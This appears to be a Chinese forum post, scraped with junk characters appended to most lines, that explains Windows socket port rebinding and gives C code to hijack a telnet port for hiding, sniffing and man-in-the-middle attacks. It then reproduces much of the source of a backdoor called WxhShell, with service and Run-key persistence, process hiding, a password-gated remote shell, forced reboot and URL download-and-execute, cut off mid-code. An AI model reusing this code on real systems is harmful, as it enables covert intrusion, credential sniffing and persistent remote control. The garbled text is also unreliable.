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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8d'0N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sXPe/fWo  
)SGq[B6@I  
  saddr.sin_family = AF_INET; ?Uo BV$  
|CyE5i0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4kx N<]  
9yP;@y*d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'H;*W|:-]  
evmeqQG=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Avb\{)s+  
' `Hr}  
  这意味着什么?意味着可以进行如下的攻击: @ j/a=4o[  
<LiPEo.R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +M/ %+l  
zO6oT1I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K$=zi}J W  
6'f;-2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #H~64/  
J|73.&B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `ERz\`d~Y;  
&};zvo~P.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +N U G  
abVmkdP_s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eHUOU>&P]  
kAUymds;O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ef4 i:.  
~P-mC@C  
  #include w7L) '9  
  #include 4Z0]oI X  
  #include v]UwJz3<  
  #include    /)O"l@ }U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xAm6BB c  
  int main() a%0EiU  
  { $F.a><1rY  
  WORD wVersionRequested; [$UI8tV  
  DWORD ret; #RLt^$!H  
  WSADATA wsaData; J{G?-+`  
  BOOL val; C0Z=~Q%  
  SOCKADDR_IN saddr; >vsqG=x  
  SOCKADDR_IN scaddr; _+MJ%'>S  
  int err; GM<9p_ B  
  SOCKET s; _Fg5A7or  
  SOCKET sc; Y'X%Aw;`  
  int caddsize; hDGF7  
  HANDLE mt; >H ,*H;6  
  DWORD tid;   owv[M6lbD  
  wVersionRequested = MAKEWORD( 2, 2 ); H\[W/"  
  err = WSAStartup( wVersionRequested, &wsaData ); wMN]~|z>  
  if ( err != 0 ) { |_U= z;Y  
  printf("error!WSAStartup failed!\n"); WNc0W>*NE1  
  return -1; *LY8D<:zs  
  } U6s[`H3I{  
  saddr.sin_family = AF_INET; f|(M.U-  
   6Kz,{F@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I]q% 2ie  
\~wMfP8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d0> zS  
  saddr.sin_port = htons(23); G3v5KmT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >yDZw!C  
  { />>\IR  
  printf("error!socket failed!\n"); _)-o1`*-  
  return -1; \fe]c :  
  } d#wVLmKZ  
  val = TRUE; q@2siI~W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f*8DCh!r"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /Z4et'Lo  
  { Dvln/SBk  
  printf("error!setsockopt failed!\n"); 69.NPy@  
  return -1; TD_Oo-+\  
  } *Pg2c(Vg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hE-M$LmN@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QS`]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C7AUsYM  
9N3eN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d'sZxU  
  { kcx Ad   
  ret=GetLastError(); +"VP-s0  
  printf("error!bind failed!\n"); )`D:F>p*  
  return -1; 2J;g{95z  
  } SgOheN-  
  listen(s,2); *8XEYZa  
  while(1) @KAI4LP  
  { #.[k=dj   
  caddsize = sizeof(scaddr); 3;Fhg!Z O  
  //接受连接请求 vvOV2n .WD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B>.qd  
  if(sc!=INVALID_SOCKET) zx7{U8*`<  
  { zdH kG_PT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5kXYeP3:  
  if(mt==NULL) ehY5!D1Q  
  { F6dP,(  
  printf("Thread Creat Failed!\n"); :U x_qB  
  break; HpnWo DM  
  } 8~gLqh8^V  
  } "zy7C*)>r  
  CloseHandle(mt); I<tm"?q0  
  } 8\gjST*  
  closesocket(s); v.5+7,4  
  WSACleanup(); BsJC0I(  
  return 0; 4X|zmr:A  
  }   ReeH@.74  
  DWORD WINAPI ClientThread(LPVOID lpParam) :\U{_@?`%  
  { g=o4Q< #^y  
  SOCKET ss = (SOCKET)lpParam; B7vpsSL  
  SOCKET sc; OZ!^ak  
  unsigned char buf[4096]; |zE'd!7E  
  SOCKADDR_IN saddr; h)nG)|c  
  long num; " 2Dngw  
  DWORD val; 8Q+36!  
  DWORD ret; -Y;3I00(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *uvQ\.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xn\jO>[Ef  
  saddr.sin_family = AF_INET; FC"8#*x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :eLVC7'  
  saddr.sin_port = htons(23); wec)Ctj+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lb1Xsgm{  
  { 2f_:v6   
  printf("error!socket failed!\n"); s"?3]P  
  return -1; sn>~O4"  
  } }:#P)8/v>%  
  val = 100; =mmWl9'mJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,6W>can  
  { HUOj0T  
  ret = GetLastError(); xn|(9#1o  
  return -1; q"_QQ~  
  } N)>ID(}F1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zj4Uak  
  { GowH]MO  
  ret = GetLastError(); jlg(drTo  
  return -1; CVR3 A'  
  } 5rUdv}.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .3!1`L3  
  { ^/=KK:n~  
  printf("error!socket connect failed!\n"); k-""_WJ~^  
  closesocket(sc); 7j)8Djzp|  
  closesocket(ss); sUm'  
  return -1; 7T'B6`-Ox  
  } B,fo(kG  
  while(1) FU<Jp3<%  
  { Nl1D o:PY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f:P}*^ Gw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .XhrCi Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :P=(k2  
  num = recv(ss,buf,4096,0); Ld-_,-n  
  if(num>0) r/*D:x|yN  
  send(sc,buf,num,0); W'TaBuCb  
  else if(num==0) pcI uN  
  break; ]"1DGg \A  
  num = recv(sc,buf,4096,0); 9 JK Ew  
  if(num>0) HLHz2-lI  
  send(ss,buf,num,0); x3eZ^8^1}  
  else if(num==0) f'3$9x  
  break; :T(|&F[(  
  } rk)`\=No  
  closesocket(ss); dcWD(-  
  closesocket(sc); y$R_.KbO  
  return 0 ; ##4HYQ%E  
  } t<?,F  
)sQ*Rd@t[8  
B^jc3 VsR  
========================================================== t@+}8^ M  
9k[9P;"F:  
下边附上一个代码,,WXhSHELL XHGFf_kW_N  
?#Q #u|~  
========================================================== 2T[9f;jM'  
Xm2z}X(%  
#include "stdafx.h" S?BG_J6A7  
4|#WFLo@  
#include <stdio.h> 1 I",L&S1  
#include <string.h> {P#|zp4C{  
#include <windows.h> U\!X,a*ts{  
#include <winsock2.h> CQDkFQq-dq  
#include <winsvc.h> s=/v';5J2!  
#include <urlmon.h> 57'4ljvYi  
U_c*6CK  
#pragma comment (lib, "Ws2_32.lib") DkAAV9*  
#pragma comment (lib, "urlmon.lib") yyy|Pw4:Z  
,izO{@We2{  
#define MAX_USER   100 // 最大客户端连接数 6Sn.I1Wy  
#define BUF_SOCK   200 // sock buffer r0 uwPf  
#define KEY_BUFF   255 // 输入 buffer 1D!<'`)AY  
# c^z&0B}  
#define REBOOT     0   // 重启 WvZ8/T'x  
#define SHUTDOWN   1   // 关机 }|5Pr(I  
Fh9h,' V"  
#define DEF_PORT   5000 // 监听端口 4#hSJ(~7S  
cDkf qcC  
#define REG_LEN     16   // 注册表键长度 dzrio-QU~  
#define SVC_LEN     80   // NT服务名长度 t}tEvh  
`&6dnSC},P  
// 从dll定义API ~gRf:VXX=_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?#UO./"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OprkR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OY@ %p}l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `%WU8Yv  
cD'V>[h  
// wxhshell配置信息 fw{gx  
struct WSCFG { Q6I:"2u1  
  int ws_port;         // 监听端口 n#_$\ p>Yd  
  char ws_passstr[REG_LEN]; // 口令 nwCrZW  
  int ws_autoins;       // 安装标记, 1=yes 0=no \v)+.m?n  
  char ws_regname[REG_LEN]; // 注册表键名 gCY';\f!  
  char ws_svcname[REG_LEN]; // 服务名 Rr|VD@%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i@M [>~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Alw3\_X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %z 4Nl$\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c=.(!qdH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B~Xw[q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mUF,@>o  
p0<\G  
}; <B8!.|19  
0b(N^$js'  
// default Wxhshell configuration fkNbS  
struct WSCFG wscfg={DEF_PORT, e'D&8z_;  
    "xuhuanlingzhe", I"7u2"@-8j  
    1, O/(xj2~$ J  
    "Wxhshell", vTw>JNVI  
    "Wxhshell", GYUn6P  
            "WxhShell Service", yd`mG{Z  
    "Wrsky Windows CmdShell Service", 'u<juFr  
    "Please Input Your Password: ", y;@:ulv[  
  1, "o}+Ciul  
  "http://www.wrsky.com/wxhshell.exe", ]}2ZttQ?  
  "Wxhshell.exe" QWHug:c  
    }; 3"KCh\\b  
n t7.?$  
// 消息定义模块 gQ1;],_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t" Z6[XG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :${HQd+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zu|\fP  
char *msg_ws_ext="\n\rExit."; 2WxQ(:d=  
char *msg_ws_end="\n\rQuit."; `~CQU  
char *msg_ws_boot="\n\rReboot..."; HJYScwjQ;`  
char *msg_ws_poff="\n\rShutdown..."; qR+!l(  
char *msg_ws_down="\n\rSave to "; 54li^   
+pn N!:q  
char *msg_ws_err="\n\rErr!"; cY.bO/&l  
char *msg_ws_ok="\n\rOK!"; ><HE;cVg?  
l}sjD[2  
char ExeFile[MAX_PATH]; K1!j fp  
int nUser = 0; n3 r3"~i  
HANDLE handles[MAX_USER]; j Dv{/ )  
int OsIsNt; G?/DrnK:  
u.Tcg^v  
SERVICE_STATUS       serviceStatus; v^iL5y!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]G< Vg5  
a]tVd#  
// 函数声明 _&ks1cw  
int Install(void); "y/?WQ>,3  
int Uninstall(void); Bad:n o\W  
int DownloadFile(char *sURL, SOCKET wsh); O~K>4 ax  
int Boot(int flag); gi _5?$  
void HideProc(void); ZlzjVU/E  
int GetOsVer(void); ptxbDzOz  
int Wxhshell(SOCKET wsl); h6`6tk  
void TalkWithClient(void *cs); UVIKQpA]A  
int CmdShell(SOCKET sock); d-r@E3  
int StartFromService(void); 1 \6D '/G  
int StartWxhshell(LPSTR lpCmdLine); KE3;V2Ym f  
G..aiA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0o*8#i/)!3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6-B|Y3)B  
_#8RSr8'y  
// 数据结构和表定义 Ur=(.%@  
SERVICE_TABLE_ENTRY DispatchTable[] = eu|;eP-+d  
{   =`s!;  
{wscfg.ws_svcname, NTServiceMain}, p hzKm9  
{NULL, NULL} /9p wZ%:<  
}; !fR3 (=oN  
+8d1|cB"  
// 自我安装  l(tOe  
int Install(void) Z+. '>  
{ #O} ,`[<  
  char svExeFile[MAX_PATH]; 1rF]yi:X  
  HKEY key; !*bMa8]*  
  strcpy(svExeFile,ExeFile); q}#6e]t  
xx9 g''Q  
// 如果是win9x系统,修改注册表设为自启动 $#pP Z  
if(!OsIsNt) { @Y<bwv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;{tj2m,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x%!s:LVX  
  RegCloseKey(key); f-G :uI_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h2J/c#Qvh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8~z~_TD6m@  
  RegCloseKey(key); 3! oi+_  
  return 0; dD|OSB7 I7  
    } NmJWU:W_@  
  } hD*SpVI U  
} P?B;_W+~A.  
else { LKOwxF#TKT  
P0j8- I  
// 如果是NT以上系统,安装为系统服务 w\i\Wp,FP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (w/T-*  
if (schSCManager!=0) Xe:jAkDp  
{ B s#hr3h-  
  SC_HANDLE schService = CreateService .|b$NM  
  ( K<ft2anY5  
  schSCManager, EL 8<U  
  wscfg.ws_svcname, l@+7:n4K0  
  wscfg.ws_svcdisp, JJ2_hVU  
  SERVICE_ALL_ACCESS, sjwo/+2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9s$CA4?HP  
  SERVICE_AUTO_START, f"SD/]q-  
  SERVICE_ERROR_NORMAL, m\r@@!  
  svExeFile, ![_*(8v}S  
  NULL, :^WKT  
  NULL, BB*f4z$Y%  
  NULL, ?+W 9az]+  
  NULL, VZymM<O  
  NULL 4;]hK!AXS  
  ); mA+&Io  
  if (schService!=0) mmEYup(l0;  
  { Cdu4U}^H  
  CloseServiceHandle(schService); Za3]d+qm  
  CloseServiceHandle(schSCManager); Zrk4*/ VY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v}O30wE  
  strcat(svExeFile,wscfg.ws_svcname); 'o+L41  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^l=!JP=M=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4N zwE(  
  RegCloseKey(key); -$jEfi4I  
  return 0; W~~7 C,!  
    } fW3(&@  
  } I]<_rN8~o  
  CloseServiceHandle(schSCManager); p&bROuw<T  
} S^>,~R.TX  
} MLje4  
ke]Lw  
return 1; b8"?VS5-"  
} LO khjHR  
,p2s:&"  
// 自我卸载 L>W'LNXCv  
int Uninstall(void) n%C>E.Tq  
{ NS%xTLow-  
  HKEY key; >eqxV|]i  
t2I5hSf  
if(!OsIsNt) { Avd ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )d1_Wm#B  
  RegDeleteValue(key,wscfg.ws_regname); 2w_WAdi  
  RegCloseKey(key); 8I8 F/47x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.PuK~}  
  RegDeleteValue(key,wscfg.ws_regname); 1H@>/QC  
  RegCloseKey(key); +HeTtFo{M  
  return 0; /F-qP.<D,r  
  } ;":zkb{  
} Y*>#T  
} =Ja]T~0A  
else { bRJMYs  
1+qw$T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t2"O  
if (schSCManager!=0) }Q?c"H!/  
{ f3&[#%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %?uc><&?e  
  if (schService!=0) ;WM"cJo9  
  { VsgE!/>1  
  if(DeleteService(schService)!=0) { qY<'<T4\  
  CloseServiceHandle(schService); ZP *q4:  
  CloseServiceHandle(schSCManager); sCis4gX.]  
  return 0; )5%'.P>  
  } 9{}1r2xW  
  CloseServiceHandle(schService); wEE\+3b)  
  } *:t|qgJI#+  
  CloseServiceHandle(schSCManager); ?R Oqn6k&c  
} 0]=i}wL 8  
} P8>d6;o($  
V9( @Y  
return 1; v:o({Y 1Aq  
} KgOqbSJ  
ng:9 l3 x  
// 从指定url下载文件 ph[#QHB  
int DownloadFile(char *sURL, SOCKET wsh) wS+ ^K  
{ NufLzg{  
  HRESULT hr; sz {e''q  
char seps[]= "/"; X M#T'S9y8  
char *token; .ir<s>YM  
char *file; Q/I! }C4  
char myURL[MAX_PATH]; `'c_=<&n  
char myFILE[MAX_PATH]; HATA-M  
gb> }v7  
strcpy(myURL,sURL); fX.>9H[w@~  
  token=strtok(myURL,seps); 4%}*&nsI-Z  
  while(token!=NULL) ZF|+W?0&%  
  { >`wV1^M6?  
    file=token; [}8|R0KF  
  token=strtok(NULL,seps); 2?,EzBeal  
  } "D'B3; uWK  
I8/DR z$A  
GetCurrentDirectory(MAX_PATH,myFILE); n;U`m$vL%  
strcat(myFILE, "\\"); \2}bi:e 6  
strcat(myFILE, file); te !S09(  
  send(wsh,myFILE,strlen(myFILE),0); <]4i`6{v  
send(wsh,"...",3,0); ;F#7Px(q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ucm :S-  
  if(hr==S_OK) Nwt" \3  
return 0; Bj}^\Pc;}  
else 2eC(Ijq[a  
return 1; !V\Q<So<  
T G{k0cdOT  
} ZAUQJS 91E  
92d6U2T4&  
// 系统电源模块 4Hn`'+b  
int Boot(int flag) no] z1D  
{ ks97k8B  
  HANDLE hToken; 80&.JP.  
  TOKEN_PRIVILEGES tkp; TJ'[--  
+$(2:S*r  
  if(OsIsNt) { K+8-9$w6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I_%a{$Gjl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %4 XJn@J  
    tkp.PrivilegeCount = 1; EG0auzW?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \eb|eN0i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &q~:~   
if(flag==REBOOT) { P*@2.#oO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~L_hZso4  
  return 0; EV^~eTz  
} -gas?^`  
else { .E&z$N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YJ/zU52JK~  
  return 0; oY|,GvCnK  
} MR,R}B$  
  } I,VH=Yn5,  
  else { 3a 1u  
if(flag==REBOOT) { MJCzo |w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hL;8pE8  
  return 0; !F4@KAv  
} 6"t;gSt 4  
else { L%$|^T=%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E+tB&  
  return 0; RJH,  
} .8uz 6~  
} bY2 C]r(n  
a9Z%JS]  
return 1; jhX[fT1m  
} @81Vc<dJ  
>'xGp7}y  
// win9x进程隐藏模块 gE hN3(  
void HideProc(void) @]c(V%x   
{ hj$ e|arB  
8kOKwEX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N0w`!<y:c  
  if ( hKernel != NULL ) HCJ>X;(`f?  
  { 7,MS '2nz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0lsXCr_X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;k86"W  
    FreeLibrary(hKernel); z%7SrUj2  
  } rVa?JvDO=  
|?,[@z _,  
return; 7`H 1f]d  
} 6^n0[7  
j:&4-K};Z`  
// 获取操作系统版本 'K*AV7>E  
int GetOsVer(void) OxtOd\0$  
{ zYv#:>C8  
  OSVERSIONINFO winfo; |U k" {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q;D+ai  
  GetVersionEx(&winfo); xc:!cA{V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -;XKcS7Ue  
  return 1; Hiv!BV|  
  else y}K\%;`[a  
  return 0; s(LT  
} ~i_Tw#}  
(j"(  
// 客户端句柄模块 Rek -`ki5F  
int Wxhshell(SOCKET wsl) 0\~Z5k`IT  
{ q )lnS )  
  SOCKET wsh; Op? OruT[  
  struct sockaddr_in client; $1zvgep  
  DWORD myID; 4E[!,zvl  
BH@)QVs-  
  while(nUser<MAX_USER) cx$Gic:4  
{ 1b>C<\  
  int nSize=sizeof(client); #4h+j%y[H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &G>(9  
  if(wsh==INVALID_SOCKET) return 1; [;oCYb$9  
 ,chf~-d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tv]<SI<B[  
if(handles[nUser]==0) LaIJ1jf  
  closesocket(wsh); xf>z@)e  
else Y'3}G<'%  
  nUser++; l\!-2 T6Y  
  } ]G}B 0u3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 's!-80sd  
ExXM:1 e26  
  return 0; 0l#)fJo  
} RF!1oZ  
:9Y$'+ <&H  
// 关闭 socket %_aMl  
void CloseIt(SOCKET wsh) w$5A|%Y+V}  
{ R,!Q Zxmg  
closesocket(wsh); daAyx-  
nUser--; TfZ6F8|B  
ExitThread(0); MZSxQ8  
} JH]K/sC>  
|m?vVLq  
// 客户端请求句柄 2~p[7?sp'  
void TalkWithClient(void *cs) }5O>EXE0R  
{ "?GebA  
ZDYJhJ.  
  SOCKET wsh=(SOCKET)cs; Zz |MIGHm  
  char pwd[SVC_LEN]; Bl1Z4` 3  
  char cmd[KEY_BUFF]; rn:!dV[  
char chr[1]; 8g7,2f/ }  
int i,j; kK~IwA  
?vGf fMm  
  while (nUser < MAX_USER) { 5lJ )(|_  
?68uS;  
if(wscfg.ws_passstr) { :Ze+%d=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :y,v&Kk#T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Chu"PM%-J  
  //ZeroMemory(pwd,KEY_BUFF); W {.78Zi9K  
      i=0; hvt@XZT  
  while(i<SVC_LEN) { m>e3vu  
dYojm1MQ  
  // 设置超时 ;}.Kb  
  fd_set FdRead; pY^9l3y^  
  struct timeval TimeOut; l t]B#, '  
  FD_ZERO(&FdRead); F X1ZG!  
  FD_SET(wsh,&FdRead); gCVryB@z2  
  TimeOut.tv_sec=8; Y"e EkT\  
  TimeOut.tv_usec=0; qq0?e0H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y &r]lD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h#Ce_,o  
Cw,D{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <3O T>E[  
  pwd=chr[0]; =j /hl  
  if(chr[0]==0xd || chr[0]==0xa) { IdRdW{o  
  pwd=0; FF Gqa&  
  break; nyT[^n  
  } EkKnUD  
  i++; _#qe#  
    } }Ewo_P&`  
SLk2X;c]o  
  // 如果是非法用户,关闭 socket )3z]f2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dyFKxn`,  
} _b4fS'[  
; a/cty0Ch  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jlKGXD)Q[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U06o ;s(  
/k"hH\Pp  
while(1) { K{ }4zuZ  
L]2< &%N2  
  ZeroMemory(cmd,KEY_BUFF); R+$8w2#  
GG'Sp53GE  
      // 自动支持客户端 telnet标准   7-9;PkGG.A  
  j=0; =!-5+I#e  
  while(j<KEY_BUFF) { ~ |,e_ zA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,R-Y~+!  
  cmd[j]=chr[0]; h <[+HsI  
  if(chr[0]==0xa || chr[0]==0xd) { `:-J+<`  
  cmd[j]=0; f@:CyB GQ  
  break; j [S`^2  
  } iTNqWU-o  
  j++; ?:|YGLaB  
    } 3BMS_,P  
R~B0+:6  
  // 下载文件 udTxNl!  
  if(strstr(cmd,"http://")) { 6|;0ax4:P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `f'C[a"  
  if(DownloadFile(cmd,wsh)) fEu9Jk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5FuK\y  
  else ?'~;Q)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]/N2&  
  } ,p,Du F  
  else { U=o Z.\  
cq^sq1A:  
    switch(cmd[0]) { wt7.oKbW  
  Xn7 [n  
  // 帮助 12r` )  
  case '?': { 4NVgOr:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &?$\Y,{  
    break; Cals?u#U=  
  } B {i&~k  
  // 安装 &9ki O  
  case 'i': { rqvU8T7A  
    if(Install()) 6dT|;koWbm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2_olT_#  
    else ~{ .,8jE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [w%#<5h  
    break; W:ixzpQ  
    } pa] TeH  
  // 卸载 -v*x V;[  
  case 'r': { gv` h-b  
    if(Uninstall()) |z7dRDU}]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c=t*I0-OVS  
    else Z oTNm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); urxqek  
    break; w?ai,Pw  
    } pB'x_z  
  // 显示 wxhshell 所在路径 5K(n3?1z)  
  case 'p': { ;2W2MZ!TF  
    char svExeFile[MAX_PATH]; RUrymkHFB  
    strcpy(svExeFile,"\n\r"); ucFw,sB1  
      strcat(svExeFile,ExeFile); f sX;Nj]  
        send(wsh,svExeFile,strlen(svExeFile),0); 0e9A+&r  
    break; w:tGPort  
    } DM/hcY$MW  
  // 重启 Y<ElJ>A2I  
  case 'b': { zlX! xqHj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p[P[#IeL  
    if(Boot(REBOOT)) 7jZrU|:yu(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )% |r>{  
    else { HU3Vv<lz  
    closesocket(wsh); bf^ly6ml  
    ExitThread(0); uf0^E3H  
    } V9$-twhu  
    break; .5k^f5a  
    } M7H~;S\3IM  
  // 关机 xucIjPi]  
  case 'd': { .%hQJ{vf-^  
